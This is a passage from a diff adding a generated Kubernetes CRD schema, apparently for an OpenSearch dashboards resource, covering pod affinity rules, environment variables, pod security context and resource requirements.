x-kubernetes-list-type: atomic + required: + - nodeSelectorTerms + type: object + x-kubernetes-map-type: atomic + type: object + podAffinity: + description: Describes pod affinity scheduling rules (e.g. + co-locate this pod in the same node, zone, etc. as some + other pod(s)). + properties: + preferredDuringSchedulingIgnoredDuringExecution: + description: |- + The scheduler will prefer to schedule pods to nodes that satisfy + the affinity expressions specified by this field, but it may choose + a node that violates one or more of the expressions. The node that is + most preferred is the one with the greatest sum of weights, i.e. + for each node that meets all of the scheduling requirements (resource + request, requiredDuringScheduling affinity expressions, etc.), + compute a sum by iterating through the elements of this field and adding + "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the + node(s) with the highest sum are the most preferred. + items: + description: The weights of all of the matched WeightedPodAffinityTerm + fields are added per-node to find the most preferred + node(s) + properties: + podAffinityTerm: + description: Required. A pod affinity term, associated + with the corresponding weight. + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + weight: + description: |- + weight associated with matching the corresponding podAffinityTerm, + in the range 1-100. + format: int32 + type: integer + required: + - podAffinityTerm + - weight + type: object + type: array + x-kubernetes-list-type: atomic + requiredDuringSchedulingIgnoredDuringExecution: + description: |- + If the affinity requirements specified by this field are not met at + scheduling time, the pod will not be scheduled onto the node. + If the affinity requirements specified by this field cease to be met + at some point during pod execution (e.g. due to a pod label update), the + system may or may not try to eventually evict the pod from its node. + When there are multiple elements, the lists of nodes corresponding to each + podAffinityTerm are intersected, i.e. all terms must be satisfied. + items: + description: |- + Defines a set of pods (namely those matching the labelSelector + relative to the given namespace(s)) that this pod should be + co-located (affinity) or not co-located (anti-affinity) with, + where co-located is defined as running on a node whose value of + the label with key matches that of any node on which + a pod of the set of pods is running + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list of label + selector requirements. The requirements are + ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list of label + selector requirements. The requirements are + ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + type: array + x-kubernetes-list-type: atomic + type: object + podAntiAffinity: + description: Describes pod anti-affinity scheduling rules + (e.g. avoid putting this pod in the same node, zone, etc. + as some other pod(s)). + properties: + preferredDuringSchedulingIgnoredDuringExecution: + description: |- + The scheduler will prefer to schedule pods to nodes that satisfy + the anti-affinity expressions specified by this field, but it may choose + a node that violates one or more of the expressions. The node that is + most preferred is the one with the greatest sum of weights, i.e. + for each node that meets all of the scheduling requirements (resource + request, requiredDuringScheduling anti-affinity expressions, etc.), + compute a sum by iterating through the elements of this field and adding + "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the + node(s) with the highest sum are the most preferred. + items: + description: The weights of all of the matched WeightedPodAffinityTerm + fields are added per-node to find the most preferred + node(s) + properties: + podAffinityTerm: + description: Required. A pod affinity term, associated + with the corresponding weight. + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The requirements + are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + weight: + description: |- + weight associated with matching the corresponding podAffinityTerm, + in the range 1-100. + format: int32 + type: integer + required: + - podAffinityTerm + - weight + type: object + type: array + x-kubernetes-list-type: atomic + requiredDuringSchedulingIgnoredDuringExecution: + description: |- + If the anti-affinity requirements specified by this field are not met at + scheduling time, the pod will not be scheduled onto the node. + If the anti-affinity requirements specified by this field cease to be met + at some point during pod execution (e.g. due to a pod label update), the + system may or may not try to eventually evict the pod from its node. + When there are multiple elements, the lists of nodes corresponding to each + podAffinityTerm are intersected, i.e. all terms must be satisfied. + items: + description: |- + Defines a set of pods (namely those matching the labelSelector + relative to the given namespace(s)) that this pod should be + co-located (affinity) or not co-located (anti-affinity) with, + where co-located is defined as running on a node whose value of + the label with key matches that of any node on which + a pod of the set of pods is running + properties: + labelSelector: + description: |- + A label query over a set of resources, in this case pods. + If it's null, this PodAffinityTerm matches with no Pods. + properties: + matchExpressions: + description: matchExpressions is a list of label + selector requirements. The requirements are + ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + matchLabelKeys: + description: |- + MatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both matchLabelKeys and labelSelector. + Also, matchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + mismatchLabelKeys: + description: |- + MismatchLabelKeys is a set of pod label keys to select which pods will + be taken into consideration. The keys are used to lookup values from the + incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)` + to select the group of existing pods which pods will be taken into consideration + for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming + pod labels will be ignored. The default value is empty. + The same key is forbidden to exist in both mismatchLabelKeys and labelSelector. + Also, mismatchLabelKeys cannot be set when labelSelector isn't set. + items: + type: string + type: array + x-kubernetes-list-type: atomic + namespaceSelector: + description: |- + A label query over the set of namespaces that the term applies to. + The term is applied to the union of the namespaces selected by this field + and the ones listed in the namespaces field. + null selector and null or empty namespaces list means "this pod's namespace". + An empty selector ({}) matches all namespaces. + properties: + matchExpressions: + description: matchExpressions is a list of label + selector requirements. The requirements are + ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key that + the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + namespaces: + description: |- + namespaces specifies a static list of namespace names that the term applies to. + The term is applied to the union of the namespaces listed in this field + and the ones selected by namespaceSelector. + null or empty namespaces list and null namespaceSelector means "this pod's namespace". + items: + type: string + type: array + x-kubernetes-list-type: atomic + topologyKey: + description: |- + This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching + the labelSelector in the specified namespaces, where co-located is defined as running on a node + whose value of the label with key topologyKey matches that of any node on which any of the + selected pods is running. + Empty topologyKey is not allowed. + type: string + required: + - topologyKey + type: object + type: array + x-kubernetes-list-type: atomic + type: object + type: object + annotations: + additionalProperties: + type: string + type: object + basePath: + description: Base Path for Opensearch Clusters running behind + a reverse proxy + type: string + enable: + type: boolean + env: + items: + description: EnvVar represents an environment variable present + in a Container. + properties: + name: + description: Name of the environment variable. Must be a + C_IDENTIFIER. + type: string + value: + description: |- + Variable references $(VAR_NAME) are expanded + using the previously defined environment variables in the container and + any service environment variables. If a variable cannot be resolved, + the reference in the input string will be unchanged. Double $$ are reduced + to a single $, which allows for escaping the $(VAR_NAME) syntax: i.e. + "$$(VAR_NAME)" will produce the string literal "$(VAR_NAME)". + Escaped references will never be expanded, regardless of whether the variable + exists or not. + Defaults to "". + type: string + valueFrom: + description: Source for the environment variable's value. + Cannot be used if value is not empty. + properties: + configMapKeyRef: + description: Selects a key of a ConfigMap. + properties: + key: + description: The key to select. + type: string + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: Specify whether the ConfigMap or its + key must be defined + type: boolean + required: + - key + type: object + x-kubernetes-map-type: atomic + fieldRef: + description: |- + Selects a field of the pod: supports metadata.name, metadata.namespace, `metadata.labels['']`, `metadata.annotations['']`, + spec.nodeName, spec.serviceAccountName, status.hostIP, status.podIP, status.podIPs. + properties: + apiVersion: + description: Version of the schema the FieldPath + is written in terms of, defaults to "v1". + type: string + fieldPath: + description: Path of the field to select in the + specified API version. + type: string + required: + - fieldPath + type: object + x-kubernetes-map-type: atomic + resourceFieldRef: + description: |- + Selects a resource of the container: only resources limits and requests + (limits.cpu, limits.memory, limits.ephemeral-storage, requests.cpu, requests.memory and requests.ephemeral-storage) are currently supported. + properties: + containerName: + description: 'Container name: required for volumes, + optional for env vars' + type: string + divisor: + anyOf: + - type: integer + - type: string + description: Specifies the output format of the + exposed resources, defaults to "1" + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + resource: + description: 'Required: resource to select' + type: string + required: + - resource + type: object + x-kubernetes-map-type: atomic + secretKeyRef: + description: Selects a key of a secret in the pod's + namespace + properties: + key: + description: The key of the secret to select from. Must + be a valid secret key. + type: string + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: Specify whether the Secret or its key + must be defined + type: boolean + required: + - key + type: object + x-kubernetes-map-type: atomic + type: object + required: + - name + type: object + type: array + image: + type: string + imagePullPolicy: + description: PullPolicy describes a policy for if/when to pull + a container image + type: string + imagePullSecrets: + items: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + type: array + labels: + additionalProperties: + type: string + type: object + nodeSelector: + additionalProperties: + type: string + type: object + opensearchCredentialsSecret: + description: Secret that contains fields username and password + for dashboards to use to login to opensearch, must only be supplied + if a custom securityconfig is provided + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + pluginsList: + items: + type: string + type: array + podSecurityContext: + description: Set security context for the dashboards pods + properties: + appArmorProfile: + description: |- + appArmorProfile is the AppArmor options to use by the containers in this pod. + Note that this field cannot be set when spec.os.name is windows. + properties: + localhostProfile: + description: |- + localhostProfile indicates a profile loaded on the node that should be used. + The profile must be preconfigured on the node to work. + Must match the loaded name of the profile. + Must be set if and only if type is "Localhost". + type: string + type: + description: |- + type indicates which kind of AppArmor profile will be applied. + Valid options are: + Localhost - a profile pre-loaded on the node. + RuntimeDefault - the container runtime's default profile. + Unconfined - no AppArmor enforcement. + type: string + required: + - type + type: object + fsGroup: + description: |- + A special supplemental group that applies to all containers in a pod. + Some volume types allow the Kubelet to change the ownership of that volume + to be owned by the pod: + + 1. The owning GID will be the FSGroup + 2. The setgid bit is set (new files created in the volume will be owned by FSGroup) + 3. The permission bits are OR'd with rw-rw---- + + If unset, the Kubelet will not modify the ownership and permissions of any volume. + Note that this field cannot be set when spec.os.name is windows. + format: int64 + type: integer + fsGroupChangePolicy: + description: |- + fsGroupChangePolicy defines behavior of changing ownership and permission of the volume + before being exposed inside Pod. This field will only apply to + volume types which support fsGroup based ownership(and permissions). + It will have no effect on ephemeral volume types such as: secret, configmaps + and emptydir. + Valid values are "OnRootMismatch" and "Always". If not specified, "Always" is used. + Note that this field cannot be set when spec.os.name is windows. + type: string + runAsGroup: + description: |- + The GID to run the entrypoint of the container process. + Uses runtime default if unset. + May also be set in SecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence + for that container. + Note that this field cannot be set when spec.os.name is windows. + format: int64 + type: integer + runAsNonRoot: + description: |- + Indicates that the container must run as a non-root user. + If true, the Kubelet will validate the image at runtime to ensure that it + does not run as UID 0 (root) and fail to start the container if it does. + If unset or false, no such validation will be performed. + May also be set in SecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + type: boolean + runAsUser: + description: |- + The UID to run the entrypoint of the container process. + Defaults to user specified in image metadata if unspecified. + May also be set in SecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence + for that container. + Note that this field cannot be set when spec.os.name is windows. + format: int64 + type: integer + seLinuxChangePolicy: + description: |- + seLinuxChangePolicy defines how the container's SELinux label is applied to all volumes used by the Pod. + It has no effect on nodes that do not support SELinux or to volumes does not support SELinux. + Valid values are "MountOption" and "Recursive". + + "Recursive" means relabeling of all files on all Pod volumes by the container runtime. + This may be slow for large volumes, but allows mixing privileged and unprivileged Pods sharing the same volume on the same node. + + "MountOption" mounts all eligible Pod volumes with `-o context` mount option. + This requires all Pods that share the same volume to use the same SELinux label. + It is not possible to share the same volume among privileged and unprivileged Pods. + Eligible volumes are in-tree FibreChannel and iSCSI volumes, and all CSI volumes + whose CSI driver announces SELinux support by setting spec.seLinuxMount: true in their + CSIDriver instance. Other volumes are always re-labelled recursively. + "MountOption" value is allowed only when SELinuxMount feature gate is enabled. + + If not specified and SELinuxMount feature gate is enabled, "MountOption" is used. + If not specified and SELinuxMount feature gate is disabled, "MountOption" is used for ReadWriteOncePod volumes + and "Recursive" for all other volumes. + + This field affects only Pods that have SELinux label set, either in PodSecurityContext or in SecurityContext of all containers. + + All Pods that use the same volume should use the same seLinuxChangePolicy, otherwise some pods can get stuck in ContainerCreating state. + Note that this field cannot be set when spec.os.name is windows. + type: string + seLinuxOptions: + description: |- + The SELinux context to be applied to all containers. + If unspecified, the container runtime will allocate a random SELinux context for each + container. May also be set in SecurityContext. If set in + both SecurityContext and PodSecurityContext, the value specified in SecurityContext + takes precedence for that container. + Note that this field cannot be set when spec.os.name is windows. + properties: + level: + description: Level is SELinux level label that applies + to the container. + type: string + role: + description: Role is a SELinux role label that applies + to the container. + type: string + type: + description: Type is a SELinux type label that applies + to the container. + type: string + user: + description: User is a SELinux user label that applies + to the container. + type: string + type: object + seccompProfile: + description: |- + The seccomp options to use by the containers in this pod. + Note that this field cannot be set when spec.os.name is windows. + properties: + localhostProfile: + description: |- + localhostProfile indicates a profile defined in a file on the node should be used. + The profile must be preconfigured on the node to work. + Must be a descending path, relative to the kubelet's configured seccomp profile location. + Must be set if type is "Localhost". Must NOT be set for any other type. + type: string + type: + description: |- + type indicates which kind of seccomp profile will be applied. + Valid options are: + + Localhost - a profile defined in a file on the node should be used. + RuntimeDefault - the container runtime default profile should be used. + Unconfined - no profile should be applied. + type: string + required: + - type + type: object + supplementalGroups: + description: |- + A list of groups applied to the first process run in each container, in + addition to the container's primary GID and fsGroup (if specified). If + the SupplementalGroupsPolicy feature is enabled, the + supplementalGroupsPolicy field determines whether these are in addition + to or instead of any group memberships defined in the container image. + If unspecified, no additional groups are added, though group memberships + defined in the container image may still be used, depending on the + supplementalGroupsPolicy field. + Note that this field cannot be set when spec.os.name is windows. + items: + format: int64 + type: integer + type: array + x-kubernetes-list-type: atomic + supplementalGroupsPolicy: + description: |- + Defines how supplemental groups of the first container processes are calculated. + Valid values are "Merge" and "Strict". If not specified, "Merge" is used. + (Alpha) Using the field requires the SupplementalGroupsPolicy feature gate to be enabled + and the container runtime must implement support for this feature. + Note that this field cannot be set when spec.os.name is windows. + type: string + sysctls: + description: |- + Sysctls hold a list of namespaced sysctls used for the pod. Pods with unsupported + sysctls (by the container runtime) might fail to launch. + Note that this field cannot be set when spec.os.name is windows. + items: + description: Sysctl defines a kernel parameter to be set + properties: + name: + description: Name of a property to set + type: string + value: + description: Value of a property to set + type: string + required: + - name + - value + type: object + type: array + x-kubernetes-list-type: atomic + windowsOptions: + description: |- + The Windows specific settings applied to all containers. + If unspecified, the options within a container's SecurityContext will be used. + If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence. + Note that this field cannot be set when spec.os.name is linux. + properties: + gmsaCredentialSpec: + description: |- + GMSACredentialSpec is where the GMSA admission webhook + (https://github.com/kubernetes-sigs/windows-gmsa) inlines the contents of the + GMSA credential spec named by the GMSACredentialSpecName field. + type: string + gmsaCredentialSpecName: + description: GMSACredentialSpecName is the name of the + GMSA credential spec to use. + type: string + hostProcess: + description: |- + HostProcess determines if a container should be run as a 'Host Process' container. + All of a Pod's containers must have the same effective HostProcess value + (it is not allowed to have a mix of HostProcess containers and non-HostProcess containers). + In addition, if HostProcess is true then HostNetwork must also be set to true. + type: boolean + runAsUserName: + description: |- + The UserName in Windows to run the entrypoint of the container process. + Defaults to the user specified in image metadata if unspecified. + May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + type: string + type: object + type: object + replicas: + format: int32 + type: integer + resources: + description: ResourceRequirements describes the compute resource + requirements. + properties: + claims: + description: |- + Claims lists the names of resources, defined in spec.resourceClaims, + that are used by this container. + + This is an alpha field and requires enabling the + DynamicResourceAllocation feature gate. + + This field is immutable. It can only be set for containers. + items: + description: ResourceClaim references one entry in PodSpec.ResourceClaims. + properties: + name: + description: |- + Name must match the name of one entry in pod.spec.resourceClaims of + the Pod where this field is used. It makes that resource available + inside a container. + type: string + request: + description: |- + Request is the name chosen for a request in the referenced claim. + If empty, everything from the claim is made available, otherwise + only the result of this request. + type: string + required: + - name + type: object + type: array + x-kubernetes-list-map-keys: + - name + x-kubernetes-list-type: map + limits: + additionalProperties: + anyOf: + - type: integer + - type: string + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + description: |- + Limits describes the maximum amount of compute resources allowed. + More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + type: object + requests: + additionalProperties: + anyOf: + - type: integer + - type: string + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + description: |- + Requests describes the minimum amount of compute resources required. + If Requests is omitted for a container, it defaults to Limits if that is explicitly specified, + otherwise to an implementation-defined value. Requests cannot exceed Limits. + More info: 